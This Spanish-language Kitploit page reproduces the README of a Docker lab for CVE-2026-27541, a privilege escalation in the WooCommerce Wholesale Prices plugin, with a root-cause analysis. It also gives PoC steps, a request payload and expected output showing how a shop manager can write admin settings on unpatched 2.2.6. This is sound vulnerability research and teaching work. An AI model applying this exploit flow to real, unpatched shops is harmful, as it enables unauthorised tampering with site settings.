Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/rootdirective-sec/cve-2026-27541-analysis-lab
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubrootdirective-sec/cve-2026-27541-analysis-lab

CVE-2026-27541-Analysis-Lab

# Laboratorio Docker para reproducir CVE-2026-27541, una escalada de privilegios autenticada en WooCommerce Wholesale Prices. Compara las versiones vulnerable y parcheada, incluye script PoC y análisis de la causa raíz.

Ver Repositorio
hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-27541 — Laboratorio de Escalada de Privilegios Autenticada en WooCommerce Wholesale Prices

vulnx

Descripción general

Este proyecto es un laboratorio Docker local para analizar y reproducir el comportamiento de CVE-2026-27541 en el plugin WooCommerce Wholesale Prices / Wholesale Suite, comparando las versiones vulnerable y parcheada lado a lado en la misma máquina.

El problema principal es un Control de Acceso Roto en el siguiente endpoint de la API REST:

root@kitploit:~
/wp-json/wwp/v1/admin/save

Según el código fuente utilizado en este laboratorio, esa ruta ya tiene un permission_callback tanto en la versión vulnerable como en la parcheada. Sin embargo, la versión afectada utiliza una comprobación de capacidades demasiado amplia para una acción de escritura de ajustes de administrador:

  • vulnerable (2.2.6) →
current_user_can( 'manage_woocommerce' )
  • parcheada (2.2.7) → current_user_can( 'manage_options' )
  • En este laboratorio, el usuario shopmgr, que tiene el rol shop_manager, tiene manage_woocommerce=true pero no manage_options. Como resultado, este usuario de bajo privilegio puede utilizar una sesión válida iniciada más un X-WP-Nonce válido para invocar el endpoint de guardado de ajustes de administrador en la versión vulnerable, mientras que la versión parcheada devuelve 403 rest_forbidden para la misma solicitud.


    Qué demuestra este laboratorio

    • Nodo vulnerable (2.2.6): el usuario shopmgr puede llamar con éxito a POST /wp-json/wwp/v1/admin/save y modificar los ajustes del plugin.
    • Nodo parcheado (2.2.7): la misma solicitud de shopmgr es rechazada con 403.
    • Solicitud sin autenticación: si el endpoint se llama directamente sin autenticación, ambas versiones devuelven 403, lo que es coherente con que se trate de un problema de escalada de privilegios post-autenticación.
    • Prueba de persistencia: después de una ejecución exitosa del PoC, la versión vulnerable almacena la opción de WordPress wwp_see_wholesale_prices_replacement_text=PWNED_BY_POC, mientras que la versión parcheada sigue devolviendo See wholesale prices.

    Topología del laboratorio

    Servicios

    • vuln → WordPress + WooCommerce + WooCommerce Wholesale Prices 2.2.6
    • patched → WordPress + WooCommerce + WooCommerce Wholesale Prices 2.2.7
    • db-vuln / db-patched → bases de datos MariaDB separadas
    • seed-vuln / seed-patched → trabajos de inicialización wp-cli que instalan WordPress, instalan el plugin, crean usuarios y crean un producto para pruebas

    Puertos publicados

    • http://localhost:8081 → vulnerable
    • http://localhost:8082 → parcheado

    Imágenes base

    • WordPress: wordpress:6.8.1-php8.2-apache
    • MariaDB: mariadb:11.4.5
    • Sembrador: wordpress:cli-php8.2

    Estructura del repositorio

    root@kitploit:~
    .
    ├── docker-compose.yml
    ├── README.md
    ├── patched/
    │   └── Dockerfile
    ├── vuln/
    │   └── Dockerfile
    ├── scripts/
    │   └── seed-wp.sh
    └── poc.py
    

    Archivos importantes

    • docker-compose.yml — define las pilas vulnerable y parcheada con bases de datos separadas
    • scripts/seed-wp.sh — instala WordPress, WooCommerce, el plugin objetivo y crea usuarios de prueba y datos de producto
    • poc.py — PoC de mínimo daño para inicio de sesión, extracción de nonce e invocación del endpoint REST

    Entorno inicializado

    Una vez que la pila está lista, el script de inicialización crea lo siguiente:

    Usuarios

    • admin / AdminPass!234
    • shopmgr / ShopMgrPass!234

    Producto

    • slug: lab-product
    • precio regular: 100
    • precio al por mayor: 50

    Versiones

    • WooCommerce: 10.6.0

    • WooCommerce Wholesale Prices:

      • vulnerable: 2.2.6
      • parcheado: 2.2.7

    El script también escribe lab-secrets.json en cada contenedor de WordPress para que los datos inicializados y la información de versión puedan verificarse.


    Por qué el PoC es de mínimo daño

    Este PoC no intenta tomar el control del sitio, cambiar roles, instalar plugins ni ejecutar un shell.

    Solo hace lo siguiente:

    1. inicia sesión como shopmgr
    2. visita la página de administración relevante para extraer wpApiSettings.nonce
    3. envía una solicitud al endpoint objetivo
    4. cambia un valor de ajuste fácilmente observable:
    root@kitploit:~
    wwp_see_wholesale_prices_replacement_text = PWNED_BY_POC
    

    Este ajuste se utiliza como marcador observable para demostrar que un usuario de bajo privilegio puede modificar configuración exclusiva de administradores.


    Resumen de la vulnerabilidad

    Componente afectado

    • Plugin: WooCommerce Wholesale Prices / Wholesale Suite
    • Ruta: POST /wp-json/wwp/v1/admin/save

    Clase de vulnerabilidad

    • Control de Acceso Roto
    • Escalada de Privilegios Autenticada

    Significado práctico

    Aunque el endpoint requiere una sesión válida y un nonce, la versión vulnerable aún permite que un usuario de bajo privilegio como shopmgr con el rol shop_manager invoque un endpoint que debería ser exclusivo de administradores.

    Matiz importante

    Esta no es una vulnerabilidad no autenticada.

    Si el endpoint se llama directamente sin una sesión iniciada, tanto la versión vulnerable como la parcheada rechazan la solicitud. El error existe en la autorización después de la autenticación, no en la autenticación en sí.


    Análisis de la causa raíz

    La versión vulnerable no carece de un permission_callback. El fallo es que utiliza una comprobación de capacidades demasiado amplia (manage_woocommerce) para una acción REST que escribe ajustes del lado del administrador.

    Del código fuente en includes/class-wwp-admin-settings.php:

    • tanto la versión vulnerable como la parcheada registran la misma ruta: POST /wp-json/wwp/v1/admin/save
    • ambas versiones la enrutan a save_registered_settings()
    • ambas versiones utilizan permission_admin_check() como permission_callback
    • la diferencia real es la capacidad que se comprueba

    Vulnerable (2.2.6)

    root@kitploit:~
    if ( ! current_user_can( 'manage_woocommerce' ) ) {
        return new WP_Error( 'rest_forbidden', ... );
    }
    

    Parcheado (2.2.7)

    root@kitploit:~
    if ( ! current_user_can( 'manage_options' ) ) {
        return new WP_Error( 'rest_forbidden', ... );
    }
    

    En este laboratorio, el usuario shopmgr, que tiene el rol shop_manager, tiene manage_woocommerce=true pero no manage_options, por lo que supera la comprobación vulnerable pero falla en la parcheada.

    Qué cambió en el comportamiento parcheado

    La versión parcheada hace más que cambiar la respuesta de 200 a 403. Cambia la lógica de control de acceso al endurecer el requisito de capacidad de manage_woocommerce a manage_options.

    Además, la ruta de guardado en la versión parcheada está aún más reforzada al alejarse del filtrado basado en prefijos hacia listas blancas explícitas y una sanitización más fuerte.

    Por qué el PoC tiene éxito en la versión vulnerable

    El PoC sigue el mismo flujo que un contexto de navegador real:

    • iniciar sesión como shopmgr
    • abrir la página de ajustes del plugin
    • extraer wpApiSettings.nonce
    • llamar a POST /wp-json/wwp/v1/admin/save

    Debido a que la versión vulnerable permite que los usuarios con manage_woocommerce invoquen esta acción de escritura de ajustes, la solicitud tiene éxito y resulta en un cambio persistente de opción.

    Lección de seguridad

    Un nonce ayuda a proteger contra CSRF, pero no es un control de autorización.

    Tener una sesión válida y un nonce válido no significa que un usuario deba tener permitido realizar una acción de administrador. Usar una capacidad demasiado amplia en un endpoint privilegiado es suficiente para crear una omisión de autorización de bajo privilegio.


    Reproducción del laboratorio

    Requisitos previos

    • Docker Desktop / Docker Engine
    • Docker Compose v2
    • Python 3
    • Acceso a Internet para la descarga inicial de imágenes y plugins

    1) Iniciar el laboratorio

    root@kitploit:~
    docker compose up -d --build
    

    2) Confirmar que los contenedores están activos

    root@kitploit:~
    docker compose ps
    

    Debería ver al menos:

    • cve-2026-27541-vuln-1
    • cve-2026-27541-patched-1
    • cve-2026-27541-db-vuln-1
    • cve-2026-27541-db-patched-1

    3) Observar los registros de inicialización

    root@kitploit:~
    docker compose logs -f seed-vuln seed-patched
    

    4) Inspeccionar los metadatos inicializados

    root@kitploit:~
    docker compose exec vuln cat /var/www/html/lab-secrets.json
    docker compose exec patched cat /var/www/html/lab-secrets.json
    

    Recorrido del PoC

    poc.py funciona de la siguiente manera:

    1. GET /wp-login.php

    2. POST /wp-login.php para establecer una sesión autenticada

    3. abrir la página de administración del plugin:

      root@kitploit:~
      /wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
      
    4. extraer wpApiSettings.nonce y la raíz REST del HTML/JavaScript

    5. enviar una solicitud a:

      root@kitploit:~
      /wp-json/wwp/v1/admin/save
      
    6. enviar el payload:

    root@kitploit:~
    [
      {
        "key": "wwp_see_wholesale_prices_replacement_text",
        "value": "PWNED_BY_POC"
      }
    ]
    

    Ejecutar el PoC

    Nodo vulnerable

    root@kitploit:~
    python3 poc.py \
      --base-url http://localhost:8081 \
      --username shopmgr \
      --password 'ShopMgrPass!234'
    

    Nodo parcheado

    root@kitploit:~
    python3 poc.py \
      --base-url http://localhost:8082 \
      --username shopmgr \
      --password 'ShopMgrPass!234'
    

    Resultados esperados

    Vulnerable (8081)

    Salida esperada:

    root@kitploit:~
    [+] Base URL: http://localhost:8081
    [+] Username: shopmgr
    [+] Logged in successfully
    [+] Accessed admin page: http://localhost:8081/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
    [+] Using wpApiSettings nonce
    [+] Nonce: b6b6add11b
    [+] REST root: http://localhost:8081/wp-json/
    [+] Sending payload to: http://localhost:8081/wp-json/wwp/v1/admin/save
    [+] HTTP status: 200
    {"status":"success","message":"Settings saved successfully."}
    [+] PoC SUCCESS (pwnd)
    [*] Verify via incognito (not logged in):
        - Open product page
        - Look for: PWNED_BY_POC
    

    Parcheado (8082)

    Salida esperada:

    root@kitploit:~
    [+] Base URL: http://localhost:8082
    [+] Username: shopmgr
    [+] Logged in successfully
    [+] Accessed admin page: http://localhost:8082/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
    [+] Using wpApiSettings nonce
    [+] Nonce: 5c4ef2ac6f
    [+] REST root: http://localhost:8082/wp-json/
    [+] Sending payload to: http://localhost:8082/wp-json/wwp/v1/admin/save
    [+] HTTP status: 403
    {"code":"rest_forbidden","message":"You do not have permission to save data.","data":{"status":403}}
    [-] PoC failed
    

    Verificación manual

    Verificación de interfaz de usuario

    Después de que el PoC tenga éxito en el nodo vulnerable:

    1. cierre sesión o abra una ventana de incógnito
    2. abra la página del producto o la página de la tienda que muestra el texto de reemplazo
    3. busque:
    root@kitploit:~
    PWNED_BY_POC
    

    Impacto de seguridad

    El impacto práctico de esta clase de error es que un usuario de bajo privilegio puede modificar configuración que debería ser exclusiva de administradores, lo que puede conducir directamente a:

    • manipulación de contenido
    • manipulación de mensajes de frontend
    • abuso de lógica de negocio

    Este laboratorio utiliza intencionalmente un payload seguro y observable para evitar cambios de roles o cualquier escalada más allá de lo necesario para demostrar la condición de vulnerabilidad.


    Limpieza

    root@kitploit:~
    docker compose down -v
    

    Notas de seguridad

    • Solo para uso en laboratorio local
    • Todos los servicios están vinculados únicamente a localhost
    • El PoC es intencionalmente de mínimo daño y utiliza un valor observable inofensivo
    • No adapte este PoC para usarlo contra sistemas que no le pertenezcan o para los que no tenga permiso de prueba

    Referencias

    • Registro CVE — CVE-2026-27541
    • Wordfence — Wholesale Suite <= 2.2.6 - Escalada de Privilegios Autenticada (Shop Manager)
    • Página del plugin en WordPress.org — Wholesale Suite – B2B, Dynamic Pricing & WooCommerce Wholesale Prices

    TL;DR

    Este laboratorio demuestra que CVE-2026-27541 es una omisión de autorización autenticada de bajo privilegio en el endpoint de ajustes de la API REST del plugin. El fallo en la versión 2.2.6 no es la ausencia de una comprobación de permisos, sino el uso de una capacidad demasiado amplia (manage_woocommerce) para una acción que debería estar restringida al nivel de manage_options.

    En este entorno local:

    • shopmgr supera la comprobación vulnerable y puede modificar con éxito los ajustes del lado del administrador a través de POST /wp-json/wwp/v1/admin/save
    • la misma solicitud se bloquea en 2.2.7
    • la versión vulnerable persiste PWNED_BY_POC en la opción objetivo, mientras que la versión parcheada no lo hace

    Como resultado, este repositorio sirve tanto como prueba de comportamiento como prueba respaldada por código de la diferencia entre la versión vulnerable y la parcheada en un entorno local totalmente controlado.

    Descargar herramienta